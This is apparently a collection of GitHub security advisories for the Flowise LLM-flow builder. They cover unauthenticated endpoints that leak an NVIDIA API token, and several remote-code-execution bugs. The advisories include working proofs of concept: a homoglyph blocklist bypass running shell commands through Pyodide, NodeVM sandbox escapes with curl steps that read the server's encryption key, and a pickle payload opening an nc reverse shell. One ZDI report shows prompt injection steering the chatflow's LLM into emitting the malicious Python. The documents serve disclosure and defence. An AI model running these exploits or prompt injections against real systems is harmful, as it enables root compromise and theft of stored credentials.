| Method | Endpoint | Risk | |--------|----------|------| | GET | /api/v1/nvidia-nim/get-token | Leaks valid NVIDIA API token | | GET | /api/v1/nvidia-nim/preload | Resource consumption | | GET | /api/v1/nvidia-nim/download-installer | Resource consumption | | GET | /api/v1/nvidia-nim/list-running-containers | Information disclosure | | POST | /api/v1/nvidia-nim/pull-image | Arbitrary image pull | | POST | /api/v1/nvidia-nim/start-container | Arbitrary container start | | POST | /api/v1/nvidia-nim/stop-container | Denial of Service | | POST | /api/v1/nvidia-nim/get-image | Information disclosure | | POST | /api/v1/nvidia-nim/get-container | Information disclosure |

Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.

Token obtained: json { "accesstoken": "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", "tokentype": "Bearer", "expiresin": 3600 }

Token validation: bash curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated attacker can: - List running containers (reconnaissance) - Stop containers (Denial of Service) - Start containers with arbitrary images - Pull arbitrary Docker images (resource consumption, potential malicious images)

Proof of Concept

poc.py

python #!/usr/bin/env python3 """ POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage: python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token """

import argparse import urllib.request import urllib.error

def main(): ap = argparse.ArgumentParser() ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--path", required=True, help="NIM endpoint path") ap.addargument("--method", default="GET", choices=["GET", "POST"]) ap.addargument("--data", default="", help="Raw request body for POST") args = ap.parseargs()

url = args.target.rstrip("/") + "/" + args.path.lstrip("/") body = args.data.encode("utf-8") if args.method == "POST" else None req = urllib.request.Request( url, data=body, method=args.method, headers={"Content-Type": "application/json"} if body else {}, )

try: with urllib.request.urlopen(req, timeout=10) as r: print(r.read().decode("utf-8", errors="replace")) except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace"))

if name == "main": main()

<img width="1581" height="595" alt="screenshot" src="https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989" />

Exploitation Steps

bash 1. Obtain NVIDIA API token (no authentication required) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

2. List running containers python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

3. Stop a container (DoS) python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \ --method POST --data '{"containerId":"<targetid>"}'

4. Pull arbitrary image python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \ --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication: $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token {"accesstoken":"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","tokentype":"Bearer","refreshtoken":null,"expiresin":3600,"idtoken":null}

Token grants access to NVIDIA API: $ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models {"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass: $ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers {"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}

References

- CWE-306: Missing Authentication for Critical Function - OWASP API Security Top 10 - API2:2023 Broken Authentication

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, an improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment. This vulnerability is fixed in 3.1.0.

First published (updated )
Severity
9.8
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODEOPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. This vulnerability is fixed in 3.1.0.

First published (updated )
Severity
9.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in Flowise 3.1.2 allows a remote attacker to execute arbitrary code via the /api/v1/prediction/<flowId> endpoint

First published (updated )
Severity
9.5
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:

ts { pattern: /\bimport\b/g, ... }, { pattern: /\bclass\b/g, ... }, { pattern: /\bsubclasses\s\(/g, ... }, { pattern: /\bbuiltins\b/g, ... }, { pattern: /\bmro\b/g, ... }, // ... about 30 similar rules

Two design flaws combine into a bypass:

1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \bclass\b never matches cl𝐚ss. 2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. cl𝐚ss, subcl𝐚sses, b𝐚se, b𝐮iltins, and similar homoglyph forms are all parsed as their ASCII equivalents.

Attribute access obj.cl𝐚ss is normalized because attribute names are identifiers. Dict string keys such as bi['import'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \bimport\s\(/.

From inside Pyodide, builtins'import' yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('childprocess').execSync, which runs native commands on the host with the privileges of the Flowise process.

Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.

The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:

js // npm install pyodide const { loadPyodide } = require('pyodide')

const FORBIDDENPATTERNS = [ { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g }, { pattern: /\beval\s\(/g }, { pattern: /\bexec\s\(/g }, { pattern: /\bcompile\s\(/g }, { pattern: /\bimport\s\(/g }, { pattern: /\bopen\s\(/g }, { pattern: /\bgetattr\s\(/g }, { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g }, { pattern: /\bsys\./g }, { pattern: /\bsocket\./g }, { pattern: /\burllib\./g }, { pattern: /\brequests\./g }, { pattern: /\bbuiltins\b/g }, { pattern: /\bclass\b/g }, { pattern: /\bsubclasses\s\(/g }, { pattern: /\bbases\b/g }, { pattern: /\bmro\b/g }, { pattern: /\bglobals\b/g }, { pattern: /\bcode\b/g }, { pattern: /\bdict\b/g }, ] const validate = (code) => FORBIDDENPATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = cls = ().cl\u{1D41A}ss base = cls.b\u{1D41A}se subs = base.subcl\u{1D41A}sses() for c in subs: if c.name == 'catchwarnings': cw = c() bi = cw.module.b\u{1D42E}iltins impname = chr(95)2 + 'imp' + 'ort' + chr(95)2 imp = bi[impname] jsmod = imp(chr(106)+chr(115)) cpname = 'child' + chr(95) + 'process' cp = jsmod.process.mainModule.require(cpname) opts = jsmod.Object.new(); opts.encoding = 'utf8' result = cp.execSync('id && hostname && echo FLOWISERCECONFIRMED', opts) break str(result)

;(async () => { console.log('validator passes:', validate(payload)) // true const py = await loadPyodide() console.log(await py.runPythonAsync(payload)) })()

Run output on a stock host:

validator passes: true uid=0(root) gid=0(root) groups=0(root) <hostname> FLOWISERCECONFIRMED

Live path against a Flowise deployment: 1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSVAgent or AirtableAgent. 2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for class, subclasses, base, and builtins, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. 3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.

Impact Any user able to reach a chatflow that uses CSVAgent or AirtableAgent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

1 / 2
Source: GitHub
First published (updated )
Severity
9.5
Code Injection
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise

-- VULNERABILITY DETAILS ------------------------ Version tested: 3.1.1 Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) Platform tested: Ubuntu 25.10

---

A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the run method of the CSVAgents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.

Analysis

When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.

The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, getattribute with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.

From packages/components/nodes/agents/CSVAgent/CSVAgent.ts: ts let pythonCode = '' if (dataframeColDict) { const chain = new LLMChain({ llm: model, prompt: PromptTemplate.fromTemplate(systemPrompt), verbose: process.env.DEBUG === 'true' ? true : false }) const inputs = { dict: dataframeColDict, question: input // user-controlled input substituted into prompt } const res = await chain.call(inputs, [loggerHandler, ...callbacks]) pythonCode = res?.text // LLM response assigned to pythonCode pythonCode = pythonCode.replace(/^[a-z]+\n|\n$/gm, '') }

let finalResult = '' if (pythonCode) { const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied if (!validation.valid) { throw new Error( Generated code was rejected for security reasons (${ validation.reason ?? 'unsafe construct' }). Please rephrase your question to use only pandas DataFrame operations. ) } try { const code = import pandas as pd\nimport numpy as np\n${pythonCode} finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide } catch (error) { throw new Error(Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}") } }

An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.

Eight bypass variants were demonstrated against the validator:

| Variant | Technique | Bypasses | |---------|-----------|----------| | 0 | @exec decorator with string-concatenated import | /\bexec\s\(/, /\bimport\s\(/ | | 1 | eval aliased to a variable, payload chr()-encoded | /\beval\s\(/, /\bimport\b/ | | 2 | df.query() with chr()-encoded @builtins.import | /\bbuiltins\b/, /\bimport\s\(/ | | 3 | MRO traversal + getattribute + subclasses -> BuiltinImporter.loadmodule | /\bclass\b/, /\bsubclasses\s\(/, /\bmro\b/ | | 4 | Generator frame inspection via giframe.fglobals['loader'] | /\bloader\b/, /\bglobals\b/ | | 5 | Exception traceback frame walk to fbuiltins['import'] | /\bglobals\b/, /\bimport\s\(/ | | 6 | buildclass.self.getattribute('import') | /\bimport\s\(/ | | 7 | vars aliased to a variable, builtins accessed via dict key | /\bvars\s\(/, /\bbuiltins\b/, /\bimport\s\(/ |

Repro

The proof of concept (poc.py) has three modes of operation:

mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.

mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.

mode = "promptinjection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.

python3 poc.py --mode [server OR chatflow OR promptinjection] [--user <USER> --passwd <PASSWORD> --host <HOST> --rhost <RHOST> --rport <RPORT> --lport <LPORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflowid <CHATID>]

-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@drecura) of TrendAI Research

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection, Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.

First published (updated )
Severity
9.4
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2BAPIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via childprocess.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

ts router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

ts // packages/server/src/routes/chatflows/index.ts router.post( '/', checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'), chatflowsController.saveChatflow )

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function → packages/server/src/controllers/nodes/index.ts → packages/server/src/utils/executeCustomNodeFunction.ts → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts executeJavaScriptCode(javascriptFunction, sandbox) → packages/components/src/utils.ts if !process.env.E2BAPIKEY → NodeVM fallback → [SINK] host process / childprocess

packages/components/src/utils.ts only uses the external E2B sandbox when E2BAPIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

ts const shouldUseSandbox = useSandbox && process.env.E2BAPIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as childprocess:

js const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("childprocess")')(); return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2BAPIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2BAPIKEY unset):

js // pocFlowiseNodeCustomFunctionRCE2026.js const path = require('path');

delete process.env.E2BAPIKEY; process.env.TSNODECOMPILEROPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/nodemodules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve( 'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts' ));

const attackCode = async function f() { const error = new Error(); error.name = Object.create(null); return error.stack; } return await f().catch(e => { const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("childprocess")')(); return cp.execSync('id').toString().trim(); }); ;

(async () => { const node = new CustomFunction(); const result = await node.init( { inputs: { javascriptFunction: attackCode } }, '', { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined } ); console.log('[RCE OUTPUT]', result); })();

Confirmed output:

[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...

HTTP trigger (requires a valid API key or session):

http POST /api/v1/node-custom-function HTTP/1.1 Host: target:3000 Authorization: Bearer <valid-api-key> Content-Type: application/json

{ "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"childprocess\")')();return cp.execSync('id').toString().trim();});" }

Impact

Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.

The NodeVM fallback is the default for any deployment without E2BAPIKEY configured, which covers the majority of self-hosted instances.

Recommended remediation: 1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern. 2. Fail closed if E2BAPIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution. 3. Restrict this endpoint from generic API key access.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like childprocess and fs.

Details The vulnerability is in packages/components/src/utils.ts at line 1755:

typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks childprocess, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } The spread operator allows any caller to override require.builtin with [""], which permits all Node.js built-in modules including childprocess.

Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8) Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90) Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49) Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760) Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: [""] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions } Taint 07: RCE Inside the nested VM, require("childprocess") succeeds. Arbitrary commands execute as root.

PoC Step 1: Start Flowise bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLEFLOWISETELEMETRY=true \ flowiseai/flowise:latest # Wait ~30s for startup curl http://localhost:3000/api/v1/version # {"version":"3.1.1"} Step 2: Obtain Bearer Token

Register an account, then create an API key: bash # Register curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}' # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) # Copy the key — this is the Bearer token used below. Step 3: Create Payload bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/nodemodules/flowise/nodemodules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"childprocess\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"\"] } } })" } EOF

Step 4: Exploit

bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # ls: /tmp/RCE-PROOF.txt: No such file or directory # Execute curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <TOKEN>" \ -d @exploit.json # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n" docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt docker exec flowise-poc cat /tmp/RCE-PROOF.txt # uid=0(root) gid=0(root) groups=0(root)... docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb <img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwtauthtokensecret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection, Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a readpickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

js try { const code = import pandas as pd import base64 from io import StringIO import json

base64string = "${base64String}"

decodeddata = base64.b64decode(base64string)

csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} <1> mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) } catch (error) { throw new Error(error) }

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

py const FORBIDDENPATTERNS: Array<{ pattern: RegExp; reason: string }> = [ // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports) { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' }, { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' }, // Dangerous builtins { pattern: /\beval\s\(/g, reason: 'eval()' }, { pattern: /\bexec\s\(/g, reason: 'exec()' }, { pattern: /\bcompile\s\(/g, reason: 'compile()' }, { pattern: /\bimport\s\(/g, reason: 'import()' }, { pattern: /\bopen\s\(/g, reason: 'open()' }, { pattern: /\bbreakpoint\s\(/g, reason: 'breakpoint()' }, { pattern: /\binput\s\(/g, reason: 'input()' }, { pattern: /\brawinput\s\(/g, reason: 'rawinput()' }, { pattern: /\bglobals\s\(/g, reason: 'globals()' }, { pattern: /\blocals\s\(/g, reason: 'locals()' }, { pattern: /\bgetattr\s\(/g, reason: 'getattr()' }, { pattern: /\bsetattr\s\(/g, reason: 'setattr()' }, { pattern: /\bdelattr\s\(/g, reason: 'delattr()' }, { pattern: /\breload\s\(/g, reason: 'reload()' }, { pattern: /\bfile\s\(/g, reason: 'file()' }, { pattern: /\bexecfile\s\(/g, reason: 'execfile()' }, // Dangerous modules / attributes { pattern: /\bos\./g, reason: 'os module' }, { pattern: /\bsubprocess\./g, reason: 'subprocess module' }, { pattern: /\bsys\./g, reason: 'sys module' }, { pattern: /\bsocket\./g, reason: 'socket module' }, { pattern: /\burllib\./g, reason: 'urllib module' }, { pattern: /\brequests\./g, reason: 'requests module' }, { pattern: /\bbuiltins\b/g, reason: 'builtins' }, { pattern: /\bloader\b/g, reason: 'loader' }, { pattern: /\bspec\b/g, reason: 'spec' }, { pattern: /\bclass\b/g, reason: 'class (reflection)' }, { pattern: /\bsubclasses\s\(/g, reason: 'subclasses()' }, { pattern: /\bbases\b/g, reason: 'bases' }, { pattern: /\bmro\b/g, reason: 'mro' }, { pattern: /\bglobals\b/g, reason: 'globals' }, { pattern: /\bcode\b/g, reason: 'code' }, { pattern: /\bclosure\b/g, reason: 'closure' }, { pattern: /\bvars\s\(/g, reason: 'vars()' }, { pattern: /\bdir\s\(/g, reason: 'dir()' }, { pattern: /\bdict\b/g, reason: 'dict (attribute reflection)' }, { pattern: /\bmodule\b/g, reason: 'module (module reflection)' } ]

However, by using pandas.readpickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

py import pickle import base64 import os

class Exploit: def reduce(self): return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit()) encoded = base64.b64encode(payload).decode() print(encoded)

Run it and note the encoded payload to be used later:

bash $ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow. 2. Drag a "CSV Agent" node onto the canvas. 3. Click on "Additional Parameters" and fill in the following PoC:

